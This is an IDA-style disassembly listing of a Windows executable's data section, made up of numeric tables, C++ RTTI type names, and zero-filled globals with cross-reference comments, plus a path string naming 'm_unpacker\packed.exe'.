dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43D764 dd offset off_427D60 ; DATA XREF: ___:00427F3Co
; ___:00428028o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43D77C dd offset off_427D60 ; DATA XREF: ___:off_427DF0o
; ___:00427E30o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43D79C dd offset off_427D60 ; DATA XREF: ___:off_427E38o
; ___:00427E7Co ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43D7BC dd offset off_427D60 ; DATA XREF: ___:off_427E84o
; ___:00427EC8o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43D7E0 dd offset off_427D60 ; DATA XREF: ___:off_427ED0o
; ___:00427F0Co
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42470C
align 10h
dword_43D800 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
dword_43D808 dd 2 dup(0) ; DATA XREF: sub_40111D+62o
; ___:0040146Eo ...
dword_43D810 dd 0 ; DATA XREF: ___:004015B0o
; sub_401ACD+B08o ...
dd 5 dup(0)
dword_43D828 dd 0 ; DATA XREF: sub_401ACD+B64r
; sub_4150B5+60r
dd 2D9h dup(0)
dword_43E390 dd 0 ; DATA XREF: sub_401ACD+5E63r
; sub_401ACD+5F40r ...
dd 7Fh dup(0)
dword_43E590 dd 0 ; DATA XREF: sub_40B0F7+41w
; sub_40B232+40w ...
dword_43E594 dd 0 ; DATA XREF: sub_40B0F7+47w
; sub_40B232+46w ...
dword_43E598 dd 0 ; DATA XREF: sub_40B0F7+52w
; sub_40B232+3Ar ...
dword_43E59C dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017ED+B9w ...
dword_43E5A0 dd 0 ; DATA XREF: sub_40B232+75r
; sub_40B413+2Aw ...
dword_43E5A4 dd 0 ; DATA XREF: ___:004015FFw
; ___:00401677w ...
byte_43E5A8 db 0 ; DATA XREF: sub_4017ED+91o
; sub_401ACD+5DA8r ...
align 4
dd 1C69h dup(0)
dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00433E54o
db 0
byte_45004D db 3 dup(0) ; DATA XREF: ___:00438140o
dd 1CFCh dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: ___:off_438BACo
dd 17780h dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438A18o
dd 5852h dup(0)
dword_4CB390 dd 0 ; DATA XREF: sub_40111D+FDw
; sub_40B0F7+13o ...
dword_4CB394 dd 0 ; DATA XREF: ___:0040125Ew
; sub_401ACD:loc_4044D8r ...
dword_4CB398 dd 0 ; DATA XREF: ___:loc_4016FFo
dword_4CB39C dd 20h dup(0) ; DATA XREF: ___:004016B6o
; ___:00401750o ...
dword_4CB41C dd 10h dup(0) ; DATA XREF: ___:004016CCo
dword_4CB45C dd 24h dup(0) ; DATA XREF: ___:004016E3o
dword_4CB4EC dd 0 ; DATA XREF: ___:004016D7w
; ___:00401767w ...
dword_4CB4F0 dd 0 ; DATA XREF: ___:004016F6w
align 10h
byte_4CB500 db 0 ; DATA XREF: sub_401955+28r
; sub_401955+30o
align 4
dword_4CB504 dd 0 ; DATA XREF: ___:00401704w
; ___:0040171Br ...
dword_4CB508 dd 0 ; DATA XREF: ___:004016BBw
; sub_401ACD+8BEr
dword_4CB50C dd 0 ; DATA XREF: sub_401ACD+7DC0o
; sub_40C9A5+13o ...
dword_4CB510 dd 0 ; DATA XREF: sub_409B13+4A7w
; sub_409B13+4EBr ...
dword_4CB514 dd 0 ; DATA XREF: sub_409B13+65w
; sub_4196BD+166r
dword_4CB518 dd 0 ; DATA XREF: sub_409B13+80Bw
; sub_409B13+880r ...
dword_4CB51C dd 0 ; DATA XREF: sub_409B13+9D8w
; sub_409B13+A43r ...
dword_4CB520 dd 0 ; DATA XREF: sub_409B13+98Aw
; sub_409B13+A13r ...
dword_4CB524 dd 0 ; DATA XREF: sub_409B13+48Dw
; sub_409B13+4DBr ...
dword_4CB528 dd 0 ; DATA XREF: sub_409B13+213w
; sub_409B13+234r
dword_4CB52C dd 0 ; DATA XREF: sub_409B13+9CBw
; sub_409B13+A3Br ...
dword_4CB530 dd 0 ; DATA XREF: sub_409B13+372w
; sub_409B13+3C7r ...
dword_4CB534 dd 0 ; DATA XREF: sub_409B13+40Fw
; sub_41AA43+11Er
dword_4CB538 dd 0 ; DATA XREF: sub_409B13+37Fw
; sub_409B13+3CFr ...
dword_4CB53C dd 0 ; DATA XREF: sub_409B13+3C0w
; sub_418C8F+ADr
dword_4CB540 dd 0 ; DATA XREF: sub_409B13+55Aw
; sub_40F0D6+115r ...
dword_4CB544 dd 0 ; DATA XREF: sub_409B13+72w
; sub_409B13+D2r ...
dword_4CB548 dd 0 ; DATA XREF: sub_409B13+97Dw
; sub_409B13+A06r ...
dword_4CB54C dd 0 ; DATA XREF: sub_409B13+3A6w
; sub_409B13+3E7r ...
dword_4CB550 dd 0 ; DATA XREF: sub_409B13+859w
; sub_409B13+8ACr ...
dword_4CB554 dd 0 ; DATA XREF: sub_409B13+2A5w
; sub_409B13+2F0r ...
dword_4CB558 dd 0 ; DATA XREF: sub_409B13+84Cw
; sub_409B13+8A4r ...
dword_4CB55C dd 0 ; DATA XREF: sub_409B13+B3w
dword_4CB560 dd 0 ; DATA XREF: sub_409B13+866w
; sub_409B13+8B4r ...
dword_4CB564 dd 0 ; DATA XREF: sub_409B13+54Dw
; sub_409B13+6D0r ...
dword_4CB568 dd 0 ; DATA XREF: sub_409B13+58w
; sub_409B13+CAr ...
dword_4CB56C dd 0 ; DATA XREF: sub_409B13+934w
dword_4CB570 dd 0 ; DATA XREF: sub_401ACD:loc_403F26r
; sub_409B13+A95w ...
dword_4CB574 dd 0 ; DATA XREF: sub_409B13+A6w
; sub_409B13+F2r
dword_4CB578 dd 0 ; DATA XREF: sub_409B13+480w
; sub_409B13+4D3r ...
dword_4CB57C dd 0 ; DATA XREF: sub_409B13+5F6w
; sub_40BFA4+20r
dword_4CB580 dd 0 ; DATA XREF: sub_409B13+9BEw
; sub_409B13+A33r
dword_4CB584 dd 0 ; DATA XREF: sub_409B13+5E9w
; sub_409B13+754r ...
dword_4CB588 dd 0 ; DATA XREF: sub_409B13+A0Cw
dword_4CB58C dd 0 ; DATA XREF: sub_409B13+B50w
dword_4CB590 dd 0 ; DATA XREF: sub_409B13+7FEw
; sub_409B13+86Dr ...
dword_4CB594 dd 0 ; DATA XREF: sub_409B13+1B3w
; sub_40B2F2+3Do ...
dword_4CB598 dd 0 ; DATA XREF: sub_409B13+997w
; sub_409B13+A1Br ...
dword_4CB59C dd 0 ; DATA XREF: sub_409B13+38Cw
; sub_409B13+3D7r ...
dword_4CB5A0 dd 0 ; DATA XREF: sub_409B13+399w
; sub_409B13+3DFr ...
dword_4CB5A4 dd 0 ; DATA XREF: sub_409B13+C85w
; sub_409B13+C8Cr ...
dword_4CB5A8 dd 0 ; DATA XREF: sub_409B13+6ACw
; ___:00410890r
dword_4CB5AC dd 0 ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4CB5B0 dd 0 ; DATA XREF: sub_409B13+4B4w
; sub_4153BD+207r
dword_4CB5B4 dd 0 ; DATA XREF: sub_409B13+9E5w
; sub_409B13+A4Br ...
dword_4CB5B8 dd 0 ; DATA XREF: sub_401000+51r
; sub_409B13+2B2w ...
dword_4CB5BC dd 0 ; DATA XREF: sub_409B13+7Fw
; sub_409B13+DAr ...
dword_4CB5C0 dd 0 ; DATA XREF: sub_401ACD+5912r
; sub_401ACD+79CFr ...
dword_4CB5C4 dd 0 ; DATA XREF: ___:004012ADr
; sub_401ACD+5118r ...
dword_4CB5C8 dd 0 ; DATA XREF: sub_409B13+825w
; sub_409B13+890r ...
dword_4CB5CC dd 0 ; DATA XREF: sub_409B13+9A4w
; sub_409B13+A23r
dword_4CB5D0 dd 0 ; DATA XREF: sub_409B13+C0Ew
; sub_409B13+C3Fr
dword_4CB5D4 dd 0 ; DATA XREF: sub_409B13+2CCw
; sub_4184E2+47r
dword_4CB5D8 dd 0 ; DATA XREF: sub_409B13+22Dw
dword_4CB5DC dd 0 ; DATA XREF: sub_409B13+91Aw
; sub_409B13+92Er
dword_4CB5E0 dd 0 ; DATA XREF: sub_409B13+C28w
dword_4CB5E4 dd 0 ; DATA XREF: sub_409B13+2D9w
; sub_4184E2+4Fr
dword_4CB5E8 dd 0 ; DATA XREF: sub_409B13+574w
; sub_409B13+6E8r ...
dword_4CB5EC dd 0 ; DATA XREF: sub_409B13+83Fw
; sub_409B13+873r
dword_4CB5F0 dd 0 ; DATA XREF: sub_409B13+220w
; sub_409B13+23Cr
dword_4CB5F4 dd 0 ; DATA XREF: sub_409B13+172w
; sub_409B13+1C2r ...
dword_4CB5F8 dd 0 ; DATA XREF: sub_401ACD+1E31r
; sub_401ACD+5AC8r ...
dword_4CB5FC dd 0 ; DATA XREF: sub_4017ED+C4r
; sub_401ACD+51A2r ...
dword_4CB600 dd 0 ; DATA XREF: sub_409B13+567w
; sub_409B13+6DCr ...
dword_4CB604 dd 0 ; DATA XREF: sub_409B13+8DBw
; sub_409B13:loc_40A40Cw ...
dword_4CB608 dd 0 ; DATA XREF: sub_401000+26r
; sub_409B13+28Bw ...
dword_4CB60C dd 0 ; DATA XREF: sub_401ACD+795Ar
; sub_409B13+69Fw ...
dword_4CB610 dd 0 ; DATA XREF: sub_409B13+32Dw
; sub_409B13+341r ...
dword_4CB614 dd 0 ; DATA XREF: sub_409B13+3B3w
; sub_409B13+3EFr ...
dword_4CB618 dd 0 ; DATA XREF: sub_409B13+C01w
; sub_409B13+C37r
dword_4CB61C dd 0 ; DATA XREF: sub_409B13+818w
; sub_409B13+888r ...
dword_4CB620 dd 0 ; DATA XREF: sub_409B13+206w
; sub_409B13+227r
dword_4CB624 dd 0 ; DATA XREF: sub_409B13+18Cw
; sub_409B13+1D2r ...
dword_4CB628 dd 0 ; DATA XREF: sub_409B13+832w
; sub_409B13+898r ...
dword_4CB62C dd 0 ; DATA XREF: sub_409B13+624w
; sub_409B13+774r
dword_4CB630 dd 0 ; DATA XREF: sub_401000+5Ar
; sub_409B13+2BFw ...
dword_4CB634 dd 0 ; DATA XREF: sub_409B13+66Bw
; sub_409B13+79Cr ...
dword_4CB638 dd 0 ; DATA XREF: sub_409B13+320w
; sub_409B13+334r ...
dword_4CB63C dd 0 ; DATA XREF: sub_409B13+644w
; sub_409B13+784r ...
dword_4CB640 dd 0 ; DATA XREF: sub_409B13+44Cw
; sub_409B13+4AEr ...
dword_4CB644 dd 0 ; DATA XREF: sub_409B13+199w
; sub_409B13+1DAr ...
dword_4CB648 dd 0 ; DATA XREF: sub_409B13+365w
; sub_409B13+3BAr ...
dword_4CB64C dd 0 ; DATA XREF: sub_409B13+AA2w
dword_4CB650 dd 0 ; DATA XREF: sub_409B13+5DCw
; sub_409B13+748r ...
dword_4CB654 dd 0 ; DATA XREF: sub_4017ED+3Er
; sub_401ACD+5154r ...
dword_4CB658 dd 0 ; DATA XREF: sub_409B13+4Bw
; sub_409B13+C2r ...
dword_4CB65C dd 0 ; DATA XREF: sub_409B13+473w
; sub_409B13+4CBr ...
dword_4CB660 dd 0 ; DATA XREF: sub_409B13+165w
; sub_409B13+1BAr ...
dword_4CB664 dd 0 ; DATA XREF: sub_409B13+9FFw
; sub_409B13+A5Br ...
dword_4CB668 dd 0 ; DATA XREF: sub_409B13+685w
; sub_409B13+7ACr ...
dword_4CB66C dd 0 ; DATA XREF: sub_401955+D1r
; sub_401ACD+51B7r ...
dword_4CB670 dd 0 ; DATA XREF: sub_409B13+C1Bw
; sub_409B13+C47r
dword_4CB674 dd 0 ; DATA XREF: sub_409B13+3Ew
; sub_409B13+BAr ...
dword_4CB678 dd 0 ; DATA XREF: sub_401000+45r
; sub_409B13+298w ...
dword_4CB67C dd 0 ; DATA XREF: sub_409B13+651w
; sub_409B13+78Cr ...
dword_4CB680 dd 0 ; DATA XREF: sub_409B13+637w
; sub_409B13+77Cr ...
dword_4CB684 dd 0 ; DATA XREF: sub_401ACD+73BAr
; sub_409B13+C92w
dword_4CB688 dd 0 ; DATA XREF: sub_409B13+879w
; ___:004168D6r ...
dword_4CB68C dd 0 ; DATA XREF: sub_409B13+112w
dword_4CB690 dd 0 ; DATA XREF: sub_409B13+BE7w
; sub_409B13+C22r
dword_4CB694 dd 0 ; DATA XREF: sub_401ACD+2FE5r
; sub_401ACD+5F99r ...
dword_4CB698 dd 0 ; DATA XREF: sub_409B13+459w
; sub_409B13+4BBr ...
dword_4CB69C dd 0 ; DATA XREF: sub_409B13+49Aw
; sub_409B13+4E3r ...
dword_4CB6A0 dd 0 ; DATA XREF: sub_409B13+466w
; sub_409B13+4C3r ...
dword_4CB6A4 dd 0 ; DATA XREF: sub_401955+89r
; sub_401ACD+51D4r ...
dword_4CB6A8 dd 0 ; DATA XREF: sub_409B13+1A6w
; sub_409B13+1E2r ...
dword_4CB6AC dd 0 ; DATA XREF: sub_409B13+9F2w
; sub_409B13+A53r ...
dword_4CB6B0 dd 0 ; DATA XREF: sub_409B13+158w
; sub_409B13+1ADr ...
dword_4CB6B4 dd 0 ; DATA XREF: sub_409B13+8Cw
; sub_409B13+E2r ...
dword_4CB6B8 dd 0 ; DATA XREF: sub_409B13+610w
; sub_409B13+764r ...
dword_4CB6BC dd 0 ; DATA XREF: sub_409B13+B43w
; sub_409B13+B5Fr
dword_4CB6C0 dd 0 ; DATA XREF: sub_409B13+33Aw
; sub_419652+55r
dword_4CB6C4 dd 0 ; DATA XREF: sub_409B13+27Ew
; sub_409B13+2D3r ...
dword_4CB6C8 dd 0 ; DATA XREF: sub_409B13+BAAw
dword_4CB6CC dd 0 ; DATA XREF: sub_409B13+AECw
; sub_40AB32+CEr
dword_4CB6D0 dd 0 ; DATA XREF: sub_409B13+ADFw
; sub_409B13+AE6r ...
dword_4CB6D4 dd 0 ; DATA XREF: sub_4017ED+A6r
; sub_401ACD+5133r ...
dword_4CB6D8 dd 0 ; DATA XREF: sub_401ACD+5125r
; sub_401ACD+7981r ...
dword_4CB6DC dd 0 ; DATA XREF: sub_409B13+BF4w
; sub_409B13+C2Fr
dword_4CB6E0 dd 0 ; DATA XREF: sub_401ACD+1E57r
; sub_401ACD+5AEEr ...
dword_4CB6E4 dd 0 ; DATA XREF: sub_409B13+9B1w
; sub_409B13+A2Br ...
dword_4CB6E8 dd 0 ; DATA XREF: sub_409B13+65Ew
; sub_409B13+794r ...
dword_4CB6EC dd 0 ; DATA XREF: sub_40111D+12r
; sub_4017ED+D0r ...
dword_4CB6F0 dd 0 ; DATA XREF: sub_409B13+59Bw
; sub_409B13+70Cr ...
dword_4CB6F4 dd 0 ; DATA XREF: sub_409B13+B36w
; sub_409B13+B57r
dword_4CB6F8 dd 0 ; DATA XREF: sub_409B13+540w
; sub_409B13+6C4r ...
dword_4CB6FC dd 0 ; DATA XREF: sub_409B13+B29w
; sub_409B13+B4Ar
dword_4CB700 dd 0 ; DATA XREF: ___:00401273r
; sub_409B13+31w ...
dword_4CB704 dd 0 ; DATA XREF: sub_409B13+17Fw
; sub_409B13+1CAr ...
dd 0
dword_4CB70C dd 0 ; DATA XREF: sub_409B13+927w
; sub_409B13+93Br
dword_4CB710 dd 0 ; DATA XREF: sub_409B13+99w
; sub_409B13+EAr ...
dword_4CB714 dd 0 ; DATA XREF: sub_409B13:loc_409C11w
; sub_409B13+12Bw ...
dword_4CB718 dd 0 ; DATA XREF: sub_409B13+126w
; sub_40A7CF+1Cr
dword_4CB71C dd 0 ; DATA XREF: sub_409B13:loc_409D01w
; sub_409B13:loc_409D68w ...
dword_4CB720 dd 0 ; DATA XREF: sub_409B13+250w
; sub_40A7CF+50r
dword_4CB724 dd 0 ; DATA XREF: ___:0040156Ar
; sub_401ACD+4568r ...
dword_4CB728 dd 0 ; DATA XREF: sub_409B13+41Ew
; sub_40A7CF+84r
dword_4CB72C dd 0 ; DATA XREF: sub_409B13:loc_40A017w
; sub_40A7CF:loc_40A87Fr
dword_4CB730 dd 0 ; DATA XREF: sub_409B13+4FFw
; sub_40A7CF+B8r
dword_4CB734 dd 0 ; DATA XREF: sub_409B13:loc_40A2E8w
; sub_40A7CF:loc_40A8B3r
dword_4CB738 dd 0 ; DATA XREF: sub_409B13+7D0w
; sub_40A7CF+ECr
dword_4CB73C dd 0 ; DATA XREF: sub_409B13:loc_40A3D3w
; sub_409B13+8EFw ...
dword_4CB740 dd 0 ; DATA XREF: sub_409B13+8EAw
; sub_40A7CF+120r
dword_4CB744 dd 0 ; DATA XREF: sub_401ACD:loc_406F18r
; sub_409B13:loc_40A467w ...
dword_4CB748 dd 0 ; DATA XREF: sub_409B13+94Fw
; sub_40A7CF+154r
dword_4CB74C dd 0 ; DATA XREF: sub_401ACD+4570r
; sub_409B13:loc_40A583w ...
dword_4CB750 dd 0 ; DATA XREF: sub_409B13+A6Bw
; sub_40A7CF+188r
dword_4CB754 dd 0 ; DATA XREF: sub_409B13:loc_40A5CDw
; sub_40A7CF:loc_40A983r
dword_4CB758 dd 0 ; DATA XREF: sub_409B13+AB5w
; sub_40A7CF+1BCr
dword_4CB75C dd 0 ; DATA XREF: sub_409B13:loc_40A617w
; sub_40A7CF:loc_40A9B7r
dword_4CB760 dd 0 ; DATA XREF: sub_409B13+AFFw
; sub_40A7CF+1F0r
dword_4CB764 dd 0 ; DATA XREF: sub_409B13:loc_40A68Bw
; sub_40A7CF:loc_40A9EBr
dword_4CB768 dd 0 ; DATA XREF: sub_409B13+B73w
; sub_40A7CF+224r
dword_4CB76C dd 0 ; DATA XREF: sub_409B13:loc_40A6D5w
; sub_40A7CF:loc_40AA1Fr
dword_4CB770 dd 0 ; DATA XREF: sub_409B13+BBDw
; sub_40A7CF+258r
dword_4CB774 dd 0 ; DATA XREF: sub_409B13:loc_40A773w
; sub_40A7CF:loc_40AA53r
dword_4CB778 dd 0 ; DATA XREF: sub_409B13+C5Bw
; sub_40A7CF+28Cr
dword_4CB77C dd 0 ; DATA XREF: sub_409B13:loc_40A7BDw
; sub_40A7CF:loc_40AA87r
dword_4CB780 dd 0 ; DATA XREF: sub_409B13+CA5w
; sub_40A7CF+2C0r
dword_4CB784 dd 7 dup(0) ; DATA XREF: sub_40AC10+32o
dword_4CB7A0 dd 0 ; DATA XREF: sub_40BA57+18r
; sub_40BFEC+92w ...
dword_4CB7A4 dd 0 ; DATA XREF: sub_40C125+4Dr
; sub_40C125+2F1w ...
dd 7FEh dup(0)
dword_4CD7A0 dd 6 dup(0) ; DATA XREF: sub_40C125+D2o
; sub_40C125+13Bo ...
dword_4CD7B8 dd 0 ; DATA XREF: sub_40BACE+2C4w
; sub_40BACE+348o
dword_4CD7BC dd 0 ; DATA XREF: sub_40BACE+33Ew
; sub_40BACE+35Ar
dword_4CD7C0 dd 0 ; DATA XREF: sub_40BACE+2CFw
dword_4CD7C4 dd 0 ; DATA XREF: sub_40BACE+2B9w
; sub_40BACE:loc_40BDE3r
dword_4CD7C8 dd 20h dup(0) ; DATA XREF: sub_40BACE+2E2o
; sub_40BACE+302o
dword_4CD848 dd 0 ; DATA XREF: sub_40BACE+2D5w
dword_4CD84C dd 0 ; DATA XREF: sub_40BACE+2EFw
; sub_40BACE+30Fw
dword_4CD850 dd 0 ; DATA XREF: sub_40BACE:loc_40BE3Er
align 8
dword_4CD858 dd 0 ; DATA XREF: sub_40BACE+82w
; sub_40BACE+101o
dword_4CD85C dd 41h dup(0) ; DATA XREF: sub_40BACE+41o
dword_4CD960 dd 41h dup(0) ; DATA XREF: sub_40BACE+69o
dword_4CDA64 dd 0 ; DATA XREF: sub_40BACE+F7w
; sub_40BACE+113r
dword_4CDA68 dd 0 ; DATA XREF: sub_40BACE+52w
dword_4CDA6C dd 0 ; DATA XREF: sub_40BACE+4Dw
; sub_40BACE+D4r
dword_4CDA70 dd 20h dup(0) ; DATA XREF: sub_40BACE+9Ao
; sub_40BACE+BAo
dword_4CDAF0 dd 0 ; DATA XREF: sub_40BACE+8Fw
dword_4CDAF4 dd 0 ; DATA XREF: sub_40BACE+A7w
; sub_40BACE+C7w
dword_4CDAF8 dd 0 ; DATA XREF: sub_40BACE:loc_40BBF7r
align 10h
dword_4CDB00 dd 0 ; DATA XREF: sub_40BACE+1A5w
; sub_40BACE+225o
dword_4CDB04 dd 41h dup(0) ; DATA XREF: sub_40BACE+167o
dword_4CDC08 dd 41h dup(0) ; DATA XREF: sub_40BACE+18Co
dword_4CDD0C dd 0 ; DATA XREF: sub_40BACE+21Bw
; sub_40BACE+237r
dword_4CDD10 dd 0 ; DATA XREF: sub_40BACE+17Aw
dword_4CDD14 dd 0 ; DATA XREF: sub_40BACE+175w
; sub_40BACE+1F8r
dword_4CDD18 dd 20h dup(0) ; DATA XREF: sub_40BACE+1BEo
; sub_40BACE+1DEo
dword_4CDD98 dd 0 ; DATA XREF: sub_40BACE+1B1w
dword_4CDD9C dd 0 ; DATA XREF: sub_40BACE+1CBw
; sub_40BACE+1EBw
dword_4CDDA0 dd 0 ; DATA XREF: sub_40BACE:loc_40BD1Br
align 8
dword_4CDDA8 dd 0 ; DATA XREF: sub_40BACE+417w
; sub_40BACE+470o
dword_4CDDAC dd 0A2h dup(0) ; DATA XREF: sub_40BACE+405o
dword_4CE034 dd 41h dup(0) ; DATA XREF: sub_40BACE+3CFo
dword_4CE138 dd 0 ; DATA XREF: sub_40BACE+3FCw
; sub_40BACE+423r
align 10h
dword_4CE140 dd 0 ; DATA XREF: sub_40BACE+466w
; sub_40BACE+482r
dword_4CE144 dd 0 ; DATA XREF: sub_40BACE+429w
dword_4CE148 dd 0 ; DATA XREF: sub_40BACE+436w
dword_4CE14C dd 0 ; DATA XREF: sub_40BACE+3F6w
dd 0
dword_4CE154 dd 0 ; DATA XREF: sub_40BACE:loc_40BF66r
dd 0
dword_4CE15C dd 0 ; DATA XREF: sub_40B71A+Er
; sub_40B71A+32r
dword_4CE160 dd 0 ; DATA XREF: sub_40B71A+9r
; sub_40B71A+26r
dword_4CE164 dd 82h dup(0) ; DATA XREF: sub_40C59C+8Do
dword_4CE36C dd 2 dup(0) ; DATA XREF: sub_40CF05+68o
dword_4CE374 dd 0 ; DATA XREF: sub_40D8A0+8w
; ___:0040DC6Fo
dd 0
dword_4CE37C dd 2 dup(0) ; DATA XREF: ___:0040DBA5o
dword_4CE384 dd 0 ; DATA XREF: ___:0040E4D8r
dd 0
dd 0
dword_4CE390 dd 0 ; DATA XREF: ___:0040E4ABr
dword_4CE394 dd 0 ; DATA XREF: ___:0040E48Dr
; ___:0040E4F6r
dd 0
dword_4CE39C dd 0 ; DATA XREF: sub_40BACE+2AEr
dd 0
dword_4CE3A4 dd 0 ; DATA XREF: sub_40B786+1Cr
dword_4CE3A8 dd 0 ; DATA XREF: ___:0040EFE9w
; ___:0040F010r ...
dd 3 dup(0)
dword_4CE3B8 dd 0 ; DATA XREF: ___:00410906r
align 10h
dword_4CE3C0 dd 0 ; DATA XREF: sub_412352+4w
; sub_412352+9o
dd 109h dup(0)
dword_4CE7E8 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Fo
; sub_401ACD:loc_404AC5o
dword_4CEE08 dd 0 ; DATA XREF: sub_401ACD+1A24w
; sub_401ACD+2F67r ...
dd 11Ch dup(0)
dword_4CF27C dd 1000h dup(0) ; DATA XREF: sub_4151AD+1Do
; sub_41524Do
dword_4D327C dd 0 ; DATA XREF: sub_4151AD+13o
; sub_41524D+Eo ...
dword_4D3280 dd 0 ; DATA XREF: sub_4155F8+Fr
; sub_4157F1+12r
align 8
dword_4D3288 dd 0Eh dup(0) ; DATA XREF: sub_416923+Fo
dword_4D32C0 dd 80h dup(0) ; DATA XREF: sub_4175EA+41o
dword_4D34C0 dd 200h dup(0) ; DATA XREF: sub_416F1B+C7o
; sub_417276+DDo ...
dword_4D3CC0 dd 124h dup(0) ; DATA XREF: sub_416F1B+D6o
; sub_417276+F4o ...
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: ___:off_437F28o
dd 0DBh dup(0)
dword_4D44C0 dd 0 ; DATA XREF: sub_416F1B+86w
; sub_4170ED+94r
dword_4D44C4 dd 0 ; DATA XREF: sub_416F1B+A7w
; sub_417553+55r ...
dword_4D44C8 dd 0 ; DATA XREF: sub_416F1B+A0w
; sub_4170ED+D6r ...
dword_4D44CC dd 0 ; DATA XREF: sub_416F1B+79w
; sub_4170ED+35r ...
dword_4D44D0 dd 80h dup(0) ; DATA XREF: sub_417553+5Eo
dword_4D46D0 dd 0 ; DATA XREF: sub_416F1B+93w
; sub_4170ED+A2r
align 8
dword_4D46D8 dd 0 ; DATA XREF: sub_416F1B+E7o
; sub_416F1B+103r ...
dword_4D46DC dd 0 ; DATA XREF: sub_417276+17Bw
; sub_41741D+107w
dword_4D46E0 dd 0 ; DATA XREF: sub_417276+180w
; sub_41741D+10Dw ...
dword_4D46E4 dd 0 ; DATA XREF: sub_417276+159w
; sub_417553+4Fr
dword_4D46E8 dd 0 ; DATA XREF: sub_4178BB+22w
; sub_4178BB:loc_417A40w ...
dword_4D46EC dd 0 ; DATA XREF: sub_401ACD+3CC4o
; sub_417789+12o ...
dd 0
dword_4D46F4 dd 0 ; DATA XREF: sub_4178BB+1Cr
; sub_417A60+3Ar
dd 7Fh dup(0)
dword_4D48F4 dd 0 ; DATA XREF: sub_4178BB+28r
; sub_417A60+4Aw
dd 1944h dup(0)
dword_4DAE08 dd 0 ; DATA XREF: sub_417A60+23o
dword_4DAE0C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE2o
; sub_417789+3Co ...
dword_4DB010 dd 17h dup(0) ; DATA XREF: sub_4187DE:loc_4188FBo
; sub_4187DE+131o ...
dword_4DB06C dd 80h dup(0) ; DATA XREF: sub_419594+7Co
; sub_419594+A5o
dword_4DB26C dd 0 ; DATA XREF: sub_418B59+45w
; sub_418B59+4Dr ...
dword_4DB270 dd 17h dup(0) ; DATA XREF: sub_419460:loc_419582o
; sub_419460+12Do
dword_4DB2CC dd 80h dup(0) ; DATA XREF: sub_418A99+4Co
; sub_418A99+7Eo ...
byte_4DB4CC db 0 ; DATA XREF: sub_418B59+29r
; sub_418B59+34w
align 10h
dword_4DB4D0 dd 80h dup(0) ; DATA XREF: sub_418DB0+61o
; sub_418DB0+89o ...
dword_4DB6D0 dd 81h dup(0) ; DATA XREF: sub_4186C2:loc_4186FAo
; sub_4186C2+5Bo
dword_4DB8D4 dd 0 ; DATA XREF: sub_419A21:loc_419A42r
; sub_419B10+54r ...
dword_4DB8D8 dd 0 ; DATA XREF: sub_419A21r
; sub_419B10+37r ...
dword_4DB8DC dd 0 ; DATA XREF: sub_419A51+1Ar
; sub_419C65+83o
dword_4DB8E0 dd 0 ; DATA XREF: sub_419A21:loc_419A35r
; sub_419C65+11Bw
dword_4DB8E4 dd 0Dh dup(0) ; DATA XREF: sub_419B10+13o
; sub_419C65:loc_419DA2o
dword_4DB918 dd 0 ; DATA XREF: sub_419B10+CDr
; sub_419B10+ECr ...
align 10h
dword_4DB920 dd 0Eh dup(0) ; DATA XREF: sub_41A88C+47o
dword_4DB958 dd 0 ; DATA XREF: sub_41BBBD+1B9w
; ___:loc_41D268w ...
dword_4DB95C dd 0 ; DATA XREF: sub_41D3BE+35w
; sub_41DA72:loc_41DB0Cw ...
dword_4DB960 dd 0 ; DATA XREF: sub_423A33+13Ar
dd 0A28h, 501h, 5, 1
dword_4DB974 dd 1 ; DATA XREF: ___:loc_401516r
; ___:00423014w
dword_4DB978 dd 2460B30h ; DATA XREF: ___:0040151Fr
; ___:0040153Fr ...
align 10h
dword_4DB980 dd 2460B58h ; DATA XREF: ___:00422F0Ew
; sub_425AC7+9r ...
dword_4DB984 dd 0 ; DATA XREF: sub_4261AB+36r
dword_4DB988 dd 0 ; DATA XREF: sub_425AC7+16r
; sub_425E95+4r ...
align 10h
off_4DB990 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
; "C:\\m_unpacker\\packed.exe"
align 8
byte_4DB998 db 0 ; DATA XREF: sub_41B7D3+2Dw
; sub_4239DB+5r
align 4
dword_4DB99C dd 0 ; DATA XREF: sub_41B7D3+27w
